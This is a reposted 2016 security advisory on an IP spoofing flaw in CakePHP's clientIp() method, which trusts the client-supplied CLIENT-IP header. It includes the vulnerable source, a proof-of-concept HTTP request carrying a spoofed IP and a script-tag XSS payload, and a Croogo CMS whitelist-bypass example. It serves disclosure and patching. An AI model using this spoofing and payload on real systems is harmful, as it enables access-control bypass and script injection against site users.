扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 |
============================================= - Release date: 12.05.2016 - Discovered by: Dawid Golunski - Severity: Medium ============================================= I. VULNERABILITY ------------------------- CakePHP Framework<= 3.2.4IP Spoofing Vulnerability 3.1.11 2.8.1 2.7.10 2.6.12 II. BACKGROUND ------------------------- - CakePHP Framework http://cakephp.org/ "CakePHP makes building web applications simpler, faster and require less code. CakePHP is a modern PHP 5.4+ framework with a flexible Database access layer and a powerful scaffolding system that makes building both small and complex systems a breeze. " III. INTRODUCTION ------------------------- CakePHP Framework contains a vulnerability that allows to spoof the source IP address. This can allow to bypass access control lists, or injection of malicious data which, if treated as sanitized by an unaware CakePHP-based application, can lead to other vulnerabilities such as SQL injection, XSS, command injection etc. IV. DESCRIPTION ------------------------- Both branches of CakePHP Framework (2.x, 3.x) contain a clientIp() method that allows to obtain the IP address of a client accessing a CakePHP-based application. The is slightly different in each branch: CakePHP 2.x: ------[ Cake/Network/CakeRequest.php ]------ public function clientIp($safe = true) { if (!$safe && env('HTTP_X_FORWARDED_FOR')) { $ipaddr = preg_replace('/(?:,.*)/', '', env('HTTP_X_FORWARDED_FOR')); } else { if (env('HTTP_CLIENT_IP')) { $ipaddr = env('HTTP_CLIENT_IP'); } else { $ipaddr = env('REMOTE_ADDR'); } } if (env('HTTP_CLIENTADDRESS')) { $tmpipaddr = env('HTTP_CLIENTADDRESS'); if (!empty($tmpipaddr)) { $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr); } } return trim($ipaddr); } -------------------------------------------- CakePHP 3.x: ------[ cakephp/src/Network/Request.php ]------ /** * Get the IP the client is using, or says they are using. * * @return string The client IP. */ public function clientIp() { if ($this->trustProxy && $this->env('HTTP_X_FORWARDED_FOR')) { $ipaddr = preg_replace('/(?:,.*)/', '', $this->env('HTTP_X_FORWARDED_FOR')); } else { if ($this->env('HTTP_CLIENT_IP')) { $ipaddr = $this->env('HTTP_CLIENT_IP'); } else { $ipaddr = $this->env('REMOTE_ADDR'); } } if ($this->env('HTTP_CLIENTADDRESS')) { $tmpipaddr = $this->env('HTTP_CLIENTADDRESS'); if (!empty($tmpipaddr)) { $ipaddr = preg_replace('/(?:,.*)/', '', $tmpipaddr); } } return trim($ipaddr); } -------------------------------------------- Both of the methods contain the same vulnerability. Despite the safe flag (CakePHP 2.x), and trustyProxy flag (CakePHP 3.x) set to off by default, they both use HTTP_CLIENT_IP request header (if it exists) instead of the REMOTE_ADDR variable set by the web server. The HTTP_CLIENT_IP header can easily be spoofed by sending CLIENT-IP header in a HTTP request. V. PROOF OF CONCEPT EXPLOIT ------------------------- A) Simple PoC Download a vulnerable version of CakePHP framework and edit src/Template/Pages/home.ctp to include the PoC code below which echoes the visitor's IP using the clientIp() method: -------[ src/Template/Pages/home.ctp ]-------- <?php [...] use Cake\Cache\Cache; use Cake\Core\Configure; use Cake\Datasource\ConnectionManager; use Cake\Error\Debugger; use Cake\Network\Exception\NotFoundException; $this->layout = false; if (!Configure::read('debug')): throw new NotFoundException(); endif; $cakeDescription = 'CakePHP: the rapid development php framework'; echo "PoC \n<br> Your IP is: [". $this->request->clientIp() ."]\n\n<br><br>"; [...] ?> ---------------------------------------------- If we send the following request with CLIENT-IP header containing an arbitrary IP and malicious XSS data: GET /cake/cake3/ HTTP/1.1 Host: centos CLIENT-IP: 100.200.300.400 <script>alert('poc');</script> Content-Length: 2 the application will give the following response: HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 PoC <br> Your IP is: [100.200.300.400 <script>alert('poc');</script>] [...] As we can see the clientIp() method returns the fake IP and XSS payload from CLIENT-IP header. B) Croogo CMS exploit An example application vulnerable to this bug is Croogo CMS: https://croogo.org/ "Croogo is a free, open source, content management system for PHP, released under The MIT License. It is powered by CakePHP MVC framework. It was first released on October 07, 2009" In one of its scripts we can find the isWhitelistedRequest() which takes care of ACLs: -------[ Vendor/croogo/croogo/Croogo/Lib/CroogoRouter.php ]-------- /** * Check wether request is from a whitelisted IP address * * @see CakeRequest::addDetector() * @param $request CakeRequest Request object * @return boolean True when request is from a whitelisted IP Address */ public static function isWhitelistedRequest(CakeRequest $request) { if (!$request) { return false; } $clientIp = $request->clientIp(); $whitelist = array_map( 'trim', (array)explode(',', Configure::read('Site.ipWhitelist')) ); return in_array($clientIp, $whitelist); } ------------------------------------------------------------------- As we can see, it uses the affected clientIp() function from CakePHP framework. VI. BUSINESS IMPACT ------------------------- This vulnerability could be used to bypass access control lists to get access to sensitive data, or lead to higher severity vulnerabilities if untrusted data returned by clientIp() method is treated as safe and used without appropriate sanitization within SQL queries, system command calls etc. VII. SYSTEMS AFFECTED ------------------------- According to the vendor, the following versions of CakePHP framework should be affected by this issue. 3.1.11 3.2.4 2.8.1 2.7.10 2.6.12 VIII. SOLUTION ------------------------- The vendor has released patched versions. Install the latest version from the link below. IX. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/CakePHP-IP-Spoofing-Vulnerability.txt Vendor security CakePHP releases: http://bakery.cakephp.org/2016/03/13/cakephp_2613_2711_282_3017_3112_325_released.html http://book.cakephp.org/3.0/en/controllers/request-response.html#working-with-http-methods-headers X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XI. REVISION HISTORY ------------------------- 12.05.2016 - Final advisory released XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. |
体验盒子
